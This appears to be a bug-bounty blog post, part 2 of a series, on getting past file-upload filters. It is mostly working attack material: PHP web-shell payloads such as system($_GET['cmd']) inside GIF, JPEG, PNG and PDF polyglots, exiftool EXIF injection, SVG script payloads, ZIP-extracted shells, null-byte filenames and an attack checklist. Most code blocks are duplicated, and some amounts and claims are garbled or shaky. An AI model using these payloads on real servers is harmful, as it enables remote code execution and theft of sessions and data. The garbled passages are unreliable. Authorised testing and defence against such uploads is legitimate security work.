July 30, 2026
File Upload Bypasses — The $10k Bug That Sneaks Past Filters (Part 2: Advanced)
Part 1 covered the basics. Double extensions. Null bytes. Content-Type spoofing.

By cyber-ninjaaa
4 min read
That's day one stuff. It works on weak filters.
This is what comes after.
WAFs that actually work. Filters that check everything. Systems that validate file contents, not just headers.
I spent two weeks on a file upload once. Nothing worked. Double extensions failed. Null bytes failed. Content-Type failed.
Then I tried polyglot files. A GIF that was also PHP. A JPEG that was also a ZIP. The filter checked the magic bytes. It passed. The server executed the code. $12k bounty.
Here's how.
First, understand the filter chain
File uploads have multiple checks.
- File extension — .php, .jsp, .aspx blocked
- Content-Type — Must be image/jpeg, image/png
- Magic bytes — File signature (first few bytes)
- File size — Max file size
- File content — Malware scanning, PHP code detection
- Filename — Special characters, null bytes
Most devs check one or two. The good ones check all six.
Your job is to find the one they missed.
The polyglot file
This is the advanced technique.
A polyglot is a file that's valid in two formats at once.
A GIF that's also PHP. A JPEG that's also a ZIP. A PDF that's also a shell script.
How it works.
GIF + PHP:
GIF89a
<?php system($_GET['cmd']); ?>GIF89a
<?php system($_GET['cmd']); ?>The magic bytes are GIF89a. The filter sees GIF. It passes. The server processes it as PHP. It executes.
JPEG + PHP:
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>PNG + PHP:
\x89PNG\r\n\x1A\n
<?php system($_GET['cmd']); ?>\x89PNG\r\n\x1A\n
<?php system($_GET['cmd']); ?>PDF + PHP:
%PDF-1.4
<?php system($_GET['cmd']); ?>%PDF-1.4
<?php system($_GET['cmd']); ?>
The image trick
This one is sneaky.
Some filters check the image dimensions. They use getimagesize().
$info = getimagesize($_FILES['file']['tmp_name']);
if (!$info) {
// Not a valid image
die('Invalid image');
}$info = getimagesize($_FILES['file']['tmp_name']);
if (!$info) {
// Not a valid image
die('Invalid image');
}Bypass it. Create a valid image. Add PHP at the end.
GIF89a
<?php system($_GET['cmd']); ?>GIF89a
<?php system($_GET['cmd']); ?>getimagesize() returns the dimensions. The filter passes. The PHP executes.
The EXIF trick
Even more advanced.
EXIF data is embedded in images. Some filters scan EXIF for code.
But you can inject PHP into EXIF metadata.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpgexiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpgUpload the image. The EXIF contains PHP. If the server displays EXIF, your code runs.
I found this on a photo gallery. The app displayed EXIF comments. Injected PHP. RCE.
The SVG exploit
SVG files are XML. They can contain scripts.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg><?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>If the server renders SVG, the script executes. That's XSS via file upload.
But it can also execute PHP.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<?php system($_GET['cmd']); ?>
</foreignObject>
</svg><?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<?php system($_GET['cmd']); ?>
</foreignObject>
</svg>
The ZIP trick
ZIP files can contain anything.
Upload a ZIP. The server extracts it. If it extracts to the web root, you can upload a shell.
Create a ZIP with a shell.php inside.
zip shell.zip shell.phpzip shell.zip shell.phpIf the server extracts it, shell.php is now in the web root. You can access it.
The filename injection
Some servers use the original filename for storage.
Inject code into the filename.
test.php.jpg
test.php%00.jpg
test.php? .jpg
test.php;.jpgtest.php.jpg
test.php%00.jpg
test.php? .jpg
test.php;.jpgIf the server is vulnerable to null byte or inconsistent parsing, the code executes.
I found this on a CMS. Uploaded test.php%00.jpg. The server created test.php. Code executed. $6k.
The MIME type mismatch
Some filters check MIME type from the request.
Content-Type: application/octet-streamContent-Type: application/octet-streamChange it to:
Content-Type: image/jpegContent-Type: image/jpegThe server trusts the header. It processes the file. Code executes.
The double extension with a twist
Part 1 covered double extensions.
shell.php.jpgshell.php.jpgPart 2 covers the advanced version.
shell.php.jpeg
shell.php.png
shell.php.gifshell.php.jpeg
shell.php.png
shell.php.gifSome filters check for .php at the end. But they miss .php.jpeg.
The file size bypass
Some filters limit file size. 1MB max.
If your payload is too big, use compression.
gzip -9 payload.phpgzip -9 payload.phpOr use a smaller payload.
<?=`$_GET[1]`?><?=`$_GET[1]`?>That's 18 bytes. Tiny. Bypasses size limits.
The real bounties
Example one. Polyglot GIF.
Social platform. Avatar upload. Filter checked magic bytes. Uploaded GIF with PHP. getimagesize() passed. Code executed. $12k.
Example two. SVG XSS.
CRM system. Logo upload. SVG allowed. Embedded <script>. Admin visited page. Session stolen. $800.
Example three. ZIP extraction.
File hosting service. ZIP upload. Server extracted to web root. Shell.php uploaded. RCE. $1.5k.
Example four. EXIF injection.
Photo gallery. EXIF comment displayed. Injected PHP via exiftool. Code executed. $k.
The advanced toolkit
exiftool. Inject PHP into EXIF.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpgexiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpgPolyglot generators. Build GIF+PHP, JPEG+PHP.
zip and gzip. Compress payloads.
hexedit. Modify file headers.
ImageMagick. Create images with embedded payloads.
convert -size 100x100 xc:white image.jpgconvert -size 100x100 xc:white image.jpgThe advanced checklist
Before I give up on any file upload, I run through this.
- Test double extensions.
.php.jpg,.php.png - Test null byte.
.php%00.jpg - Test Content-Type spoofing.
image/jpeg - Test magic bytes. GIF, JPEG, PNG headers
- Test polyglot files. GIF+PHP, JPEG+PHP
- Test EXIF injection.
exiftool - Test SVG.
<script>and<?php ?> - Test ZIP extraction. Upload shell.zip
- Test filename injection. Special characters
- Test size bypass. Compression. Small payloads
- Test MIME type mismatch. Header vs actual
- Test double extension with twist.
.php.jpeg
Twelve checks. Thirty minutes. Pays $10k+.
The mindset shift
Part 1 got you past basic filters.
Part 2 gets you past everything.
You're not just uploading files. You're crafting them. Manipulating them. Polyglotting them.
The filter checks magic bytes? Give it magic bytes. Also give it PHP.
The filter checks dimensions? Give it dimensions. Also give it PHP.
The filter checks EXIF? Give it EXIF. Also give it PHP.
Give the filter what it wants. Then give it what you want.
Missed Part 1? https://medium.com/me/stats/post/bc7d5022a7c0
Comment below what you want to see next.